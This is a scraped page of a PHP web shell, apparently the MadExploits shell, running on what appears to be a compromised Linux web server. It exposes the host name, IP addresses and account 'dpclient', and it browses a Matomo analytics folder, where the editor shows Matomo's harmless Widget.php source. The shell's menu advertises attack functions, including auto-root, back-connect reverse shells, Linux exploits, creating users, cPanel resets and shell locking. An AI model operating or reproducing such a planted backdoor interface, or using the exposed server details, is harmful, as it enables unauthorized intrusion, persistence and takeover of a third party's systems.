Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.15.223.162
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
Widget /
[ HOME SHELL ]
Name
Size
Permission
Action
Widget.php
2.3
KB
-rw-r--r--
WidgetConfig.php
10.38
KB
-rw-r--r--
WidgetContainerConfig.php
3.56
KB
-rw-r--r--
WidgetsList.php
7.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Widget.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik\Widget; use Piwik\View; /** * Defines a new widget. You can create a new widget using the console command `./console generate:widget`. * The generated widget will guide you through the creation of a widget. * * For an example, see {@link https://github.com/piwik/piwik/blob/master/plugins/ExamplePlugin/Widgets/MyExampleWidget.php} * * @api since Piwik 3.0.0 */ class Widget { /** * @param WidgetConfig $config * @api */ public static function configure(WidgetConfig $config) { } /** * @return string */ public function render() { return ''; } /** * Assigns the given variables to the template and renders it. * * Example: * * public function myControllerAction () { * return $this->renderTemplate('index', array( * 'answerToLife' => '42' * )); * } * * This will render the 'index.twig' file within the plugin templates folder and assign the view variable * `answerToLife` to `42`. * * @param string $template The name of the template file. If only a name is given it will automatically use * the template within the plugin folder. For instance 'myTemplate' will result in * '@$pluginName/myTemplate.twig'. Alternatively you can include the full path: * '@anyOtherFolder/otherTemplate'. The trailing '.twig' is not needed. * @param array $variables For instance array('myViewVar' => 'myValue'). In template you can use {{ myViewVar }} * @return string * @api */ protected function renderTemplate($template, array $variables = array()) { if (false === strpos($template, '@') || false === strpos($template, '/')) { $aPluginName = explode('\\', get_class($this)); $aPluginName = $aPluginName[2]; $template = '@' . $aPluginName . '/' . $template; } $view = new View($template); foreach ($variables as $key => $value) { $view->$key = $value; } return $view->render(); } }
Close